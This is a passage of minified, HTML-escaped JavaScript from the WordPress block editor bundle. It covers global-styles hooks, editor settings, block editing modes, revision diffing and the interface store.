mhe(){let{globalStylesId:e,isReady:t,settings:r,styles:o,_links:n}=(0,Fp.useSelect)(u=&gt;{let{getEntityRecord:d,getEditedEntityRecord:f,hasFinishedResolution:m,canUser:h}=u(Np.store),g=u(Np.store).__experimentalGetCurrentGlobalStylesId(),v,y=g?h(&quot;update&quot;,{kind:&quot;root&quot;,name:&quot;globalStyles&quot;,id:g}):null;g&amp;&amp;typeof y==&quot;boolean&quot;&amp;&amp;(y?v=f(&quot;root&quot;,&quot;globalStyles&quot;,g):v=d(&quot;root&quot;,&quot;globalStyles&quot;,g,{context:&quot;view&quot;}));let b=!1;return m(&quot;__experimentalGetCurrentGlobalStylesId&quot;)&amp;&amp;(g?b=y?m(&quot;getEditedEntityRecord&quot;,[&quot;root&quot;,&quot;globalStyles&quot;,g]):m(&quot;getEntityRecord&quot;,[&quot;root&quot;,&quot;globalStyles&quot;,g,{context:&quot;view&quot;}]):b=!0),{globalStylesId:g,isReady:b,settings:v?.settings,styles:v?.styles,_links:v?._links}},[]),{getEditedEntityRecord:i}=(0,Fp.useSelect)(Np.store),{editEntityRecord:a}=(0,Fp.useDispatch)(Np.store),l=(0,Dp.useMemo)(()=&gt;({settings:r??{},styles:o??{},_links:n??{}}),[r,o,n]),c=(0,Dp.useCallback)((u,d={})=&gt;{let f=i(&quot;root&quot;,&quot;globalStyles&quot;,e),m={styles:f?.styles??{},settings:f?.settings??{},_links:f?._links??{}},h=typeof u==&quot;function&quot;?u(m):u;a(&quot;root&quot;,&quot;globalStyles&quot;,e,{styles:AI(h.styles)||{},settings:AI(h.settings)||{},_links:AI(h._links)||{}},d)},[e,a,i]);return[t,l,c]}function phe(){let e=(0,Fp.useSelect)(t=&gt;t(Np.store).__experimentalGetCurrentThemeBaseGlobalStyles(),[]);return[!!e,e]}function fw(){let[e,t,r]=mhe(),[o,n]=phe(),i=(0,Dp.useMemo)(()=&gt;!n||!t?{}:go(n,t),[t,n]);return(0,Dp.useMemo)(()=&gt;({isReady:e&amp;&amp;o,user:t,base:n,merged:i,setUserConfig:r}),[i,t,n,r,e,o])}var q8={};function hhe(e){let{RECEIVE_INTERMEDIATE_RESULTS:t}=N(Ai.privateApis),{getEntityRecords:r}=e(Ai.store);return r(&quot;postType&quot;,&quot;wp_block&quot;,{per_page:-1,[t]:!0})}var ghe=[&quot;__experimentalBlockBindingsSupportedAttributes&quot;,&quot;__experimentalBlockDirectory&quot;,&quot;__experimentalDiscussionSettings&quot;,&quot;__experimentalFeatures&quot;,&quot;__experimentalGlobalStylesBaseStyles&quot;,&quot;allImageSizes&quot;,&quot;alignWide&quot;,&quot;blockInspectorTabs&quot;,&quot;maxUploadFileSize&quot;,&quot;allowedMimeTypes&quot;,&quot;bodyPlaceholder&quot;,&quot;canEditCSS&quot;,&quot;canLockBlocks&quot;,&quot;canUpdateBlockBindings&quot;,&quot;capabilities&quot;,&quot;clearBlockSelection&quot;,&quot;codeEditingEnabled&quot;,&quot;colors&quot;,&quot;disableContentOnlyForUnsyncedPatterns&quot;,&quot;disableCustomColors&quot;,&quot;disableCustomFontSizes&quot;,&quot;disableCustomSpacingSizes&quot;,&quot;disableCustomGradients&quot;,&quot;disableLayoutStyles&quot;,&quot;enableCustomLineHeight&quot;,&quot;enableCustomSpacing&quot;,&quot;enableCustomUnits&quot;,&quot;enableOpenverseMediaCategory&quot;,&quot;fontSizes&quot;,&quot;gradients&quot;,&quot;generateAnchors&quot;,&quot;onNavigateToEntityRecord&quot;,&quot;imageDefaultSize&quot;,&quot;imageDimensions&quot;,&quot;imageEditing&quot;,&quot;imageSizes&quot;,&quot;isPreviewMode&quot;,&quot;isRTL&quot;,&quot;locale&quot;,&quot;maxWidth&quot;,&quot;postContentAttributes&quot;,&quot;postsPerPage&quot;,&quot;readOnly&quot;,&quot;styles&quot;,&quot;titlePlaceholder&quot;,&quot;supportsLayout&quot;,&quot;widgetTypesToHideFromLegacyWidgetBlock&quot;,&quot;__unstableHasCustomAppender&quot;,&quot;__unstableResolvedAssets&quot;,&quot;__unstableIsBlockBasedTheme&quot;],{globalStylesDataKey:vhe,globalStylesLinksDataKey:yhe,selectBlockPatternsKey:bhe,reusableBlocksSelectKey:She,sectionRootClientIdKey:_he,mediaEditKey:whe,getMediaSelectKey:xhe,isIsolatedEditorKey:Che,deviceTypeKey:The,isNavigationOverlayContextKey:Phe,mediaUploadOnSuccessKey:khe}=N(mw.privateApis);function Ehe(e,t,r,o){let n=(0,X8.useViewportMatch)(&quot;medium&quot;),{allImageSizes:i,bigImageSizeThreshold:a,allowRightClickOverrides:l,blockTypes:c,focusMode:u,hasFixedToolbar:d,isDistractionFree:f,keepCaretInsideBlock:m,hasUploadPermissions:h,hiddenBlockTypes:g,canUseUnfilteredHTML:v,userCanCreatePages:y,pageOnFront:b,pageForPosts:_,userPatternCategories:S,restBlockPatternCategories:x,sectionRootClientId:T,deviceType:R,isNavigationOverlayContext:F,isRevisionsMode:B}=(0,Bp.useSelect)(ne=&gt;{let{canUser:ue,getRawEntityRecord:Ye,getEntityRecord:ye,getUserPatternCategories:oe,getBlockPatternCategories:ge}=ne(Ai.store),{get:Re}=ne(K8.store),{getBlockTypes:ze}=ne(Q8.store),{getDeviceType:Ve,isRevisionsMode:tt}=N(ne(w)),{getBlocksByName:vt,getBlockAttributes:le}=ne(mw.store),J=ue(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?ye(&quot;root&quot;,&quot;site&quot;):void 0,ie=ye(&quot;root&quot;,&quot;__unstableBase&quot;);function ee(){return o===&quot;template-locked&quot;?vt(&quot;core/post-content&quot;)?.[0]??&quot;&quot;:vt(&quot;core/group&quot;).find(se=&gt;le(se)?.tagName===&quot;main&quot;)??&quot;&quot;}return{allImageSizes:ie?.image_sizes,bigImageSizeThreshold:ie?.image_size_threshold,allowRightClickOverrides:Re(&quot;core&quot;,&quot;allowRightClickOverrides&quot;),blockTypes:ze(),canUseUnfilteredHTML:Ye(&quot;postType&quot;,t,r)?._links?.hasOwnProperty(&quot;wp:action-unfiltered-html&quot;),focusMode:Re(&quot;core&quot;,&quot;focusMode&quot;),hasFixedToolbar:Re(&quot;core&quot;,&quot;fixedToolbar&quot;)||!n,hiddenBlockTypes:Re(&quot;core&quot;,&quot;hiddenBlockTypes&quot;),isDistractionFree:Re(&quot;core&quot;,&quot;distractionFree&quot;),keepCaretInsideBlock:Re(&quot;core&quot;,&quot;keepCaretInsideBlock&quot;),hasUploadPermissions:ue(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;attachment&quot;})??!0,userCanCreatePages:ue(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;page&quot;}),pageOnFront:J?.page_on_front,pageForPosts:J?.page_for_posts,userPatternCategories:oe(),restBlockPatternCategories:ge(),sectionRootClientId:ee(),deviceType:Ve(),isNavigationOverlayContext:t===&quot;wp_template_part&quot;&amp;&amp;r?ye(&quot;postType&quot;,&quot;wp_template_part&quot;,r)?.area===&quot;navigation-overlay&quot;:!1,isRevisionsMode:tt()}},[t,r,n,o]),{merged:z}=fw(),L=z.styles??q8,M=z._links??q8,k=e.__experimentalAdditionalBlockPatterns??e.__experimentalBlockPatterns,I=e.__experimentalAdditionalBlockPatternCategories??e.__experimentalBlockPatternCategories,U=(0,hf.useMemo)(()=&gt;[...k||[]].filter(({postTypes:ne})=&gt;!ne||Array.isArray(ne)&amp;&amp;ne.includes(t)),[k,t]),G=(0,hf.useMemo)(()=&gt;[...I||[],...x||[]].filter((ne,ue,Ye)=&gt;ue===Ye.findIndex(ye=&gt;ne.name===ye.name)),[I,x]),{undo:Y,setIsInserterOpened:Z}=(0,Bp.useDispatch)(w),{editMediaEntity:V}=N((0,Bp.useDispatch)(Ai.store)),{saveEntityRecord:j}=(0,Bp.useDispatch)(Ai.store),H=(0,hf.useCallback)(ne=&gt;y?j(&quot;postType&quot;,&quot;page&quot;,ne):Promise.reject({message:(0,Z8.__)(&quot;You do not have permission to create Pages.&quot;)}),[j,y]),X=(0,hf.useMemo)(()=&gt;g&amp;&amp;g.length&gt;0?(e.allowedBlockTypes===!0?c.map(({name:ue})=&gt;ue):e.allowedBlockTypes||[]).filter(ue=&gt;!g.includes(ue)):e.allowedBlockTypes,[e.allowedBlockTypes,g,c]),ae=e.focusMode===!1;return(0,hf.useMemo)(()=&gt;{let ne={...Object.fromEntries(Object.entries(e).filter(([ue])=&gt;ghe.includes(ue)).filter(([ue])=&gt;ue!==&quot;onNavigateToEntityRecord&quot;)),[vhe]:L,[yhe]:M,allImageSizes:i,bigImageSizeThreshold:a,allowedBlockTypes:X,allowRightClickOverrides:l,focusMode:u&amp;&amp;!ae,hasFixedToolbar:d,isDistractionFree:f,keepCaretInsideBlock:m,onNavigateToEntityRecord:e.onNavigateToEntityRecord,[xhe]:(ue,Ye)=&gt;ue(Ai.store).getEntityRecord(&quot;postType&quot;,&quot;attachment&quot;,Ye),[whe]:h?V:void 0,mediaUpload:h?r_:void 0,[khe]:h?i8:void 0,mediaSideload:h?a8:void 0,mediaFinalize:h?c8:void 0,__experimentalBlockPatterns:U,[bhe]:ue=&gt;{let{hasFinishedResolution:Ye,getBlockPatternsForPostType:ye}=N(ue(Ai.store)),oe=ye(t);return Ye(&quot;getBlockPatterns&quot;)?oe:void 0},[She]:hhe,__experimentalBlockPatternCategories:G,__experimentalUserPatternCategories:S,__experimentalFetchLinkSuggestions:(ue,Ye)=&gt;(0,Ai.__experimentalFetchLinkSuggestions)(ue,Ye,e),inserterMediaCategories:r8,__experimentalFetchRichUrlData:Ai.__experimentalFetchUrlData,__experimentalCanUserUseUnfilteredHTML:v,__experimentalUndo:Y,outlineMode:!f&amp;&amp;t===&quot;wp_template&quot;,__experimentalCreatePageEntity:H,__experimentalUserCanCreatePages:y,pageOnFront:b,pageForPosts:_,__experimentalPreferPatternsOnRoot:t===&quot;wp_template&quot;,templateLock:t===&quot;wp_navigation&quot;?&quot;insert&quot;:e.templateLock,template:t===&quot;wp_navigation&quot;?[[&quot;core/navigation&quot;,{},[]]]:e.template,__experimentalSetIsInserterOpened:Z,[_he]:T,editorTool:o===&quot;post-only&quot;&amp;&amp;t!==&quot;wp_template&quot;?&quot;edit&quot;:void 0,[Che]:[&quot;wp_template_part&quot;,&quot;wp_block&quot;,&quot;wp_navigation&quot;].includes(t),disableContentOnlyForTemplateParts:o===&quot;template-locked&quot;,...R?{[The]:R}:{},[Phe]:F};return B&amp;&amp;(ne.isPreviewMode=!0),ne},[B,X,l,u,ae,d,f,m,e,h,S,U,G,v,Y,H,y,b,_,t,Z,T,L,M,o,V,e.onNavigateToEntityRecord,R,i,a,F])}var J8=Ehe;var zy=s(O(),1),Mp=s($(),1),hw=s(D(),1);var $8=s(D(),1),e7=s(mo(),1),Rhe=[&quot;core/post-title&quot;,&quot;core/post-featured-image&quot;,&quot;core/post-content&quot;];function pw(){return(0,$8.useMemo)(()=&gt;[...(0,e7.applyFilters)(&quot;editor.postContentBlockTypes&quot;,Rhe)],[])}function t7(){let e=pw(),{contentOnlyIds:t,templateParts:r}=(0,zy.useSelect)(i=&gt;{let{getPostBlocksByName:a}=N(i(w)),{getBlocksByName:l}=i(Mp.store);return{contentOnlyIds:a(e),templateParts:l(&quot;core/template-part&quot;)}},[e]),o=(0,zy.useSelect)(i=&gt;{let{getBlockOrder:a}=i(Mp.store);return r.flatMap(l=&gt;a(l))},[r]),n=(0,zy.useRegistry)();return(0,hw.useEffect)(()=&gt;{let{setBlockEditingMode:i,unsetBlockEditingMode:a}=n.dispatch(Mp.store);return i(&quot;&quot;,&quot;disabled&quot;),()=&gt;{a(&quot;&quot;)}},[n]),(0,hw.useEffect)(()=&gt;{let{setBlockEditingMode:i,unsetBlockEditingMode:a}=n.dispatch(Mp.store);return n.batch(()=&gt;{for(let l of r)i(l,&quot;contentOnly&quot;)}),()=&gt;{n.batch(()=&gt;{for(let l of r)a(l)})}},[r,n]),(0,hw.useEffect)(()=&gt;{let{setBlockEditingMode:i,unsetBlockEditingMode:a}=n.dispatch(Mp.store),l=new Set(t);return n.batch(()=&gt;{for(let c of t)i(c,&quot;contentOnly&quot;);for(let c of o)l.has(c)||i(c,&quot;disabled&quot;)}),()=&gt;{n.batch(()=&gt;{for(let c of t)a(c);for(let c of o)l.has(c)||a(c)})}},[t,o,n]),null}var r7=s(D(),1),gw=s(O(),1),OI=s($(),1);function o7(){let e=(0,gw.useSelect)(o=&gt;o(OI.store).getBlockOrder()?.[0],[]),{setBlockEditingMode:t,unsetBlockEditingMode:r}=(0,gw.useDispatch)(OI.store);(0,r7.useEffect)(()=&gt;{if(e)return t(e,&quot;contentOnly&quot;),()=&gt;{r(e)}},[e,r,t])}var i7=s(D(),1),Lp=s(mo(),1),n7=[&quot;wp_block&quot;,&quot;wp_template&quot;,&quot;wp_template_part&quot;];function s7(e,t){(0,i7.useEffect)(()=&gt;((0,Lp.addFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removeTemplatePartsFromInserter&quot;,(r,o)=&gt;!n7.includes(e)&amp;&amp;o.name===&quot;core/template-part&quot;&amp;&amp;t===&quot;post-only&quot;?!1:r),(0,Lp.addFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removePostContentFromInserter&quot;,(r,o,n,{getBlockParentsByBlockName:i})=&gt;!n7.includes(e)&amp;&amp;o.name===&quot;core/post-content&quot;?i(n,&quot;core/query&quot;).length&gt;0:r),()=&gt;{(0,Lp.removeFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removeTemplatePartsFromInserter&quot;),(0,Lp.removeFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removePostContentFromInserter&quot;)}),[e,t])}var _7=s(O(),1),yw=s(D(),1),bw=s(Xe(),1);var h7=s(FI(),1),LI=s(BI(),1),MI=s(f7(),1),vw=s(Xe(),1),oo=s(Wy(),1),tn=s(E(),1);var{parseRawBlock:g7}=N(vw.privateApis);function p7(e){return e==null?&quot;&quot;:typeof e==&quot;object&quot;?JSON.stringify(e,null,2):String(e)}function zhe(e,t){if(!e&amp;&amp;!t)return 1;if(!e||!t)return 0;let r=new Intl.Segmenter(void 0,{granularity:&quot;word&quot;}),o=/[\p{L}\p{N}]/u,n=d=&gt;{let f=[];for(let{segment:m,isWordLike:h}of r.segment(d))(h||o.test(m))&amp;&amp;f.push(m);return f},i=n(e),a=n(t);if(i.length===0&amp;&amp;a.length===0)return 1;let l=new Set(i),c=0;for(let d of a)l.has(d)&amp;&amp;c++;let u=Math.max(i.length,a.length);return u&gt;0?c/u:0}function Uhe(e){let t=[],r=[];if(e.forEach((d,f)=&gt;{let m=d.__revisionDiffStatus?.status;m===&quot;removed&quot;?t.push({block:d,index:f}):m===&quot;added&quot;&amp;&amp;r.push({block:d,index:f})}),t.length===0||r.length===0)return e;let o=new Set,n=new Set,i=new Map,a=.5,l=new Map;for(let d of r){let f=d.block.blockName;l.has(f)||l.set(f,[]),l.get(f).push(d)}let c=new Map;for(let d of t){let f=d.block.blockName;c.has(f)||c.set(f,[]),c.get(f).push(d)}let u=-1;for(let d of t){let f=l.get(d.block.blockName)||[],m=c.get(d.block.blockName)||[],h=f.filter(v=&gt;!i.has(v.index)&amp;&amp;v.index&gt;u);if(h.length===0)continue;let g=null;if(m.length===1&amp;&amp;h.length===1){let v=h[0],y=JSON.stringify(d.block.attrs)===JSON.stringify(v.block.attrs);(!((d.block.innerHTML||&quot;&quot;)===(v.block.innerHTML||&quot;&quot;))||!y)&amp;&amp;(g=v)}else{let v=0;for(let y of h){let b=zhe(d.block.innerHTML||&quot;&quot;,y.block.innerHTML||&quot;&quot;),_=JSON.stringify(d.block.attrs)===JSON.stringify(y.block.attrs);b&gt;v&amp;&amp;b&gt;a&amp;&amp;(b&lt;1||!_)&amp;&amp;(v=b,g=y)}}if(g){u=g.index;let v={...g.block,__revisionDiffStatus:{status:&quot;modified&quot;},__previousRawBlock:d.block},y=Math.min(d.index,g.index),b=Math.max(d.index,g.index),_=!1;for(let S=y+1;S&lt;b;S++)if(e[S].__revisionDiffStatus?.status===&quot;added&quot;&amp;&amp;!n.has(S)){_=!0;break}_?(i.set(g.index,v),o.add(d.index)):(i.set(d.index,v),n.add(g.index))}}return e.map((d,f)=&gt;o.has(f)||n.has(f)?null:i.has(f)?i.get(f):d).filter(Boolean)}function v7(e,t){let r=u=&gt;JSON.stringify({name:u.blockName,attrs:u.attrs,html:(u.innerContent||[]).filter(d=&gt;d!==null&amp;&amp;d.trim()!==&quot;&quot;)}),o=e.map(r),n=t.map(r),i=(0,h7.diffArrays)(n,o),a=[],l=0,c=0;for(let u of i)if(u.added)for(let d=0;d&lt;u.count;d++)a.push({...e[l++],__revisionDiffStatus:{status:&quot;added&quot;}});else if(u.removed)for(let d=0;d&lt;u.count;d++)a.push({...t[c++],__revisionDiffStatus:{status:&quot;removed&quot;}});else for(let d=0;d&lt;u.count;d++){let f=e[l++],m=t[c++],h=v7(f.innerBlocks||[],m.innerBlocks||[]);a.push({...f,innerBlocks:h})}return Uhe(a)}function Hhe(e,t,r,o){let n=e[r]||[],i=t[o]||[];if(n.length!==i.length)return!0;for(let a of n)if(!i.find(c=&gt;c.type===a.type&amp;&amp;JSON.stringify(c.attributes)===JSON.stringify(a.attributes)))return!0;return!1}function Ghe(e,t,r,o){let n=e[r]||[],i=t[o]||[],a=0,l=0,c=0;for(let d of n){let f=i.find(m=&gt;m.type===d.type);f?JSON.stringify(d.attributes)!==JSON.stringify(f.attributes)&amp;&amp;c++:a++}for(let d of i)n.find(m=&gt;m.type===d.type)||l++;if(a&gt;0&amp;&amp;l===0&amp;&amp;c===0)return{type:&quot;added&quot;,description:(0,tn.sprintf)((0,tn._n)(&quot;%d format added&quot;,&quot;%d formats added&quot;,a),a)};if(l&gt;0&amp;&amp;a===0&amp;&amp;c===0)return{type:&quot;removed&quot;,description:(0,tn.sprintf)((0,tn._n)(&quot;%d format removed&quot;,&quot;%d formats removed&quot;,l),l)};let u=[];return a&gt;0&amp;&amp;u.push((0,tn.sprintf)((0,tn._n)(&quot;%d format added&quot;,&quot;%d formats added&quot;,a),a)),l&gt;0&amp;&amp;u.push((0,tn.sprintf)((0,tn._n)(&quot;%d format removed&quot;,&quot;%d formats removed&quot;,l),l)),c&gt;0&amp;&amp;u.push((0,tn.sprintf)((0,tn._n)(&quot;%d format changed&quot;,&quot;%d formats changed&quot;,c),c)),{type:&quot;changed&quot;,description:u.join(&quot;, &quot;)||(0,tn.__)(&quot;Formatting changed&quot;)}}function Whe(e,t){let r=e.toPlainText(),o=t.toPlainText(),n=(0,LI.diffWords)(o,r),i=(0,oo.create)({text:&quot;&quot;}),a=0,l=0;for(let c of n)if(c.removed){let u=(0,oo.slice)(t,l,l+c.value.length),d=(0,oo.applyFormat)(u,{type:&quot;revision/diff-removed&quot;,attributes:{title:(0,tn.__)(&quot;Removed&quot;)}},0,c.value.length);i=(0,oo.concat)(i,d),l+=c.value.length}else if(c.added){let u=(0,oo.slice)(e,a,a+c.value.length),d=(0,oo.applyFormat)(u,{type:&quot;revision/diff-added&quot;,attributes:{title:(0,tn.__)(&quot;Added&quot;)}},0,c.value.length);i=(0,oo.concat)(i,d),a+=c.value.length}else{let u=e.formats||[],d=t.formats||[],f=c.value.length,m=v=&gt;Hhe(u,d,a+v,l+v),h=0,g=m(0);for(let v=1;v&lt;=f;v++){let y=v&lt;f&amp;&amp;m(v);if(v===f||y!==g){let b=(0,oo.slice)(e,a+h,a+v);if(g){let{type:_,description:S}=Ghe(u,d,a+h,l+h),x={added:&quot;revision/diff-format-added&quot;,removed:&quot;revision/diff-format-removed&quot;,changed:&quot;revision/diff-format-changed&quot;}[_],T=(0,oo.applyFormat)(b,{type:x,attributes:{title:S}},0,v-h);i=(0,oo.concat)(i,T)}else i=(0,oo.concat)(i,b);h=v,g=y}}a+=c.value.length,l+=c.value.length}return new oo.RichTextData(i)}function Yhe(e,t,r){let o=(0,vw.getBlockType)(e.name);if(!o)return;let n={};for(let[i,a]of Object.entries(o.attributes))if(a.source===&quot;rich-text&quot;){let l=e.attributes[i],c=t.attributes[i];l instanceof oo.RichTextData&amp;&amp;c instanceof oo.RichTextData&amp;&amp;(e.attributes[i]=Whe(l,c))}else{let l=p7(e.attributes[i]),c=p7(t.attributes[i]);l!==c&amp;&amp;(n[i]=(0,LI.diffWords)(c,l))}Object.keys(n).length&gt;0&amp;&amp;(r.changedAttributes=n)}function y7(e,t){if(t.__revisionDiffStatus){if(t.__revisionDiffStatus.status===&quot;modified&quot;&amp;&amp;t.__previousRawBlock){let r=g7(t.__previousRawBlock);r&amp;&amp;Yhe(e,r,t.__revisionDiffStatus)}e.__revisionDiffStatus=t.__revisionDiffStatus,e.attributes.__revisionDiffStatus=t.__revisionDiffStatus}if(e.innerBlocks&amp;&amp;t.innerBlocks)for(let r=0;r&lt;e.innerBlocks.length;r++){let o=e.innerBlocks[r],n=t.innerBlocks[r];o&amp;&amp;n&amp;&amp;y7(o,n)}}function b7(e,t){let r=(0,MI.parse)(e||&quot;&quot;),o=(0,MI.parse)(t||&quot;&quot;);return v7(r,o).map(i=&gt;{let a=g7(i);return a&amp;&amp;y7(a,i),a}).filter(Boolean)}var S7=s(FI(),1);function VI(e,t){if(!t?.length||!e?.length)return e;let r=e.map(c=&gt;c.name),o=t.map(c=&gt;c.name),n=(0,S7.diffArrays)(o,r),i=0,a=0,l=[];for(let c of n)if(c.removed)a+=c.count;else if(c.added)for(let u=0;u&lt;c.count;u++)l.push(e[i++]);else for(let u=0;u&lt;c.count;u++){let d=e[i++],f=t[a++];l.push({...d,clientId:f.clientId,innerBlocks:VI(d.innerBlocks,f.innerBlocks)})}return l}function w7(){let{isInRevisionsMode:e,showDiff:t,revision:r,previousRevision:o,postType:n}=(0,_7.useSelect)(l=&gt;{let{isRevisionsMode:c,isShowingRevisionDiff:u,getCurrentRevision:d,getPreviousRevision:f}=N(l(w)),{getCurrentPostType:m}=l(w),h=c();return{isInRevisionsMode:h,showDiff:u(),revision:h?d():void 0,previousRevision:h?f():void 0,postType:m()}},[]),i=(0,yw.useRef)([]);return(0,yw.useMemo)(()=&gt;{if(!e)return i.current=[],null;if(!r)return[];let l=r?.content?.raw??&quot;&quot;,c;if(t){let d=o?.content?.raw||&quot;&quot;;c=b7(l,d)}else c=(0,bw.parse)(l);n===&quot;wp_navigation&quot;&amp;&amp;(c=[(0,bw.createBlock)(&quot;core/navigation&quot;,{templateLock:!1},c)]);let u=VI(c,i.current);return i.current=u,u},[e,r,r?.content?.raw,o?.content?.raw,n,t])}var ti=s(O(),1),$e=s(E(),1);var lb=s(jI(),1),l6=s(lt(),1),U9=s(ct(),1),H9=s($(),1),Yp=s(W(),1);var i6={};Qc(i6,{ActionItem:()=&gt;rs,ComplementaryArea:()=&gt;ql,ComplementaryAreaMoreMenuItem:()=&gt;xu,FullscreenMode:()=&gt;H7,InterfaceSkeleton:()=&gt;ib,PinnedItems:()=&gt;zp,store:()=&gt;Ce});var os=s(A(),1),Ky=s(O(),1),Rw=s(E(),1);var Oa=s(D(),1),HI=s(T7(),1),V7=s(lt(),1),Cu=s(he(),1),j7=s(_u(),1);var O7=s(A(),1),xw=s(O(),1),I7=s(_u(),1);var ww=s(O(),1);var zI={};Qc(zI,{closeModal:()=&gt;rge,disableComplementaryArea:()=&gt;Khe,enableComplementaryArea:()=&gt;Zhe,openModal:()=&gt;tge,pinItem:()=&gt;Xhe,setDefaultComplementaryArea:()=&gt;qhe,setFeatureDefaults:()=&gt;ege,setFeatureValue:()=&gt;$he,toggleFeature:()=&gt;Jhe,unpinItem:()=&gt;Qhe});var _w=s(Yi(),1),ts=s(lt(),1);var Sw=s(Yi(),1);function Aa(e){return[&quot;core/edit-post&quot;,&quot;core/edit-site&quot;].includes(e)?((0,Sw.default)(`${e} interface scope`,{alternative:&quot;core interface scope&quot;,hint:&quot;core/edit-post and core/edit-site are merging.&quot;,version:&quot;6.6&quot;}),&quot;core&quot;):e}function gf(e,t){return e===&quot;core&quot;&amp;&amp;t===&quot;edit-site/template&quot;?((0,Sw.default)(&quot;edit-site/template sidebar&quot;,{alternative:&quot;edit-post/document&quot;,version:&quot;6.6&quot;}),&quot;edit-post/document&quot;):e===&quot;core&quot;&amp;&amp;t===&quot;edit-site/block-inspector&quot;?((0,Sw.default)(&quot;edit-site/block-inspector sidebar&quot;,{alternative:&quot;edit-post/block&quot;,version:&quot;6.6&quot;}),&quot;edit-post/block&quot;):t}var qhe=(e,t)=&gt;(e=Aa(e),t=gf(e,t),{type:&quot;SET_DEFAULT_COMPLEMENTARY_AREA&quot;,scope:e,area:t}),Zhe=(e,t)=&gt;({registry:r,dispatch:o})=&gt;{if(!t)return;e=Aa(e),t=gf(e,t),r.select(ts.store).get(e,&quot;isComplementaryAreaVisible&quot;)||r.dispatch(ts.store).set(e,&quot;isComplementaryAreaVisible&quot;,!0),o({type:&quot;ENABLE_COMPLEMENTARY_AREA&quot;,scope:e,area:t})},Khe=e=&gt;({registry:t})=&gt;{e=Aa(e),t.select(ts.store).get(e,&quot;isComplementaryAreaVisible&quot;)&amp;&amp;t.dispatch(ts.store).set(e,&quot;isComplementaryAreaVisible&quot;,!1)},Xhe=(e,t)=&gt;({registry:r})=&gt;{if(!t)return;e=Aa(e),t=gf(e,t);let o=r.select(ts.store).get(e,&quot;pinnedItems&quot;);o?.[t]!==!0&amp;&amp;r.dispatch(ts.store).set(e,&quot;pinnedItems&quot;,{...o,[t]:!0})},Qhe=(e,t)=&gt;({registry:r})=&gt;{if(!t)return;e=Aa(e),t=gf(e,t);let o=r.select(ts.store).get(e,&quot;pinnedItems&quot;);r.dispatch(ts.store).set(e,&quot;pinnedItems&quot;,{...o,[t]:!1})};function Jhe(e,t){return function({registry:r}){(0,_w.default)(&quot;dispatch( &#039;core/interface&#039; ).toggleFeature&quot;,{since:&quot;6.0&quot;,alternative:&quot;dispatch( &#039;core/preferences&#039; ).toggle&quot;}),r.dispatch(ts.store).toggle(e,t)}}function $he(e,t,r){return function({registry:o}){(0,_w.default)(&quot;dispatch( &#039;core/interface&#039; ).setFeatureValue&quot;,{since:&quot;6.0&quot;,alternative:&quot;dispatch( &#039;core/preferences&#039; ).set&quot;}),o.dispatch(ts.store).set(e,t,!!r)}}function ege(e,t){return function({registry:r}){(0,_w.default)(&quot;dispatch( &#039;core/interface&#039; ).setFeatureDefaults&quot;,{since:&quot;6.0&quot;,alternative:&quot;dispatch( &#039;core/preferences&#039; ).setDefaults&quot;}),r.dispatch(ts.store).setDefaults(e,t)}}function tge(e){return{type:&quot;OPEN_MODAL&quot;,name:e}}function rge(){return{type:&quot;CLOSE_MODAL&quot;}}var UI={};Qc(UI,{getActiveComplementaryArea:()=&gt;oge,isComplementaryAreaLoading:()=&gt;nge,isFeatureActive:()=&gt;sge,isItemPinned:()=&gt;ige,isModalActive:()=&gt;age});var Yy=s(O(),1),k7=s(Yi(),1),qy=s(lt(),1);var oge=(0,Yy.createRegistrySelector)(e=&gt;(t,r)=&gt;{r=Aa(r);let o=e(qy.store).get(r,&quot;isComplementaryAreaVisible&quot;);if(o!==void 0)return o===!1?null:t?.complementaryAreas?.[r]}),nge=(0,Yy.createRegistrySelector)(e=&gt;(t,r)=&gt;{r=Aa(r);let o=e(qy.store).get(r,&quot;isComplementaryAreaVisible&quot;),n=t?.complementaryAreas?.[r];return o&amp;&amp;n===void 0}),ige=(0,Yy.createRegistrySelector)(e=&gt;(t,r,o)=&gt;(r=Aa(r),o=gf(r,o),e(qy.store).get(r,&quot;pinnedItems&quot;)?.[o]??!0)),sge=(0,Yy.createRegistrySelector)(e=&gt;(t,r,o)=&gt;((0,k7.default)(&quot;select( &#039;core/interface&#039; ).isFeatureActive( scope, featureName )&quot;,{since:&quot;6.0&quot;,alternative:&quot;select( &#039;core/preferences&#039; ).get( scope, featureName )&quot;}),!!e(qy.store).get(r,o)));function age(e,t){return e.activeModal===t}var E7=s(O(),1);function lge(e={},t){switch(t.type){case&quot;SET_DEFAULT_COMPLEMENTARY_AREA&quot;:{let{scope:r,area:o}=t;return e[r]?e:{...e,[r]:o}}case&quot;ENABLE_COMPLEMENTARY_AREA&quot;:{let{scope:r,area:o}=t;return{...e,[r]:o}}}return e}function cge(e=null,t){switch(t.type){case&quot;OPEN_MODAL&quot;:return t.name;case&quot;CLOSE_MODAL&quot;:return null}return e}var R7=(0,E7.combineReducers)({complementaryAreas:lge,activeModal:cge});var A7=&quot;core/interface&quot;;var Ce=(0,ww.createReduxStore)(A7,{reducer:R7,actions:zI,selectors:UI});(0,ww.register)(Ce);var N7=s(C(),1);function uge(e){return[&quot;checkbox&quot;,&quot;option&quot;,&quot;radio&quot;,&quot;switch&quot;,&quot;menuitemcheckbox&quot;,&quot;menuitemradio&quot;,&quot;treeitem&quot;].includes(e)}function jp({as:e=O7.Button,scope:t,identifier:r,icon:o,selectedIcon:n,name:i,shortcut:a,...l}){let c=e,u=(0,I7.usePluginContext)(),d=o||u.icon,f=r||`${u.name}/${i}`,m=(0,xw.useSelect)(v=&gt;v(Ce).getActiveComplementaryArea(t)===f,[f,t]),{enableComplementaryArea:h,disableComplementaryArea:g}=(0,xw.useDispatch)(Ce);return(0,N7.jsx)(c,{icon:n&amp;&amp;m?n:d,&quot;aria-controls&quot;:f.replace(&quot;/&quot;,&quot;:&quot;),&quot;aria-checked&quot;:uge(l.role)?m:void 0,onClick:()=&gt;{m?g(t):h(t,f)},shortcut:a,...l})}var Cw=s(C(),1),dge=({children:e,className:t,toggleButtonProps:r})=&gt;{let 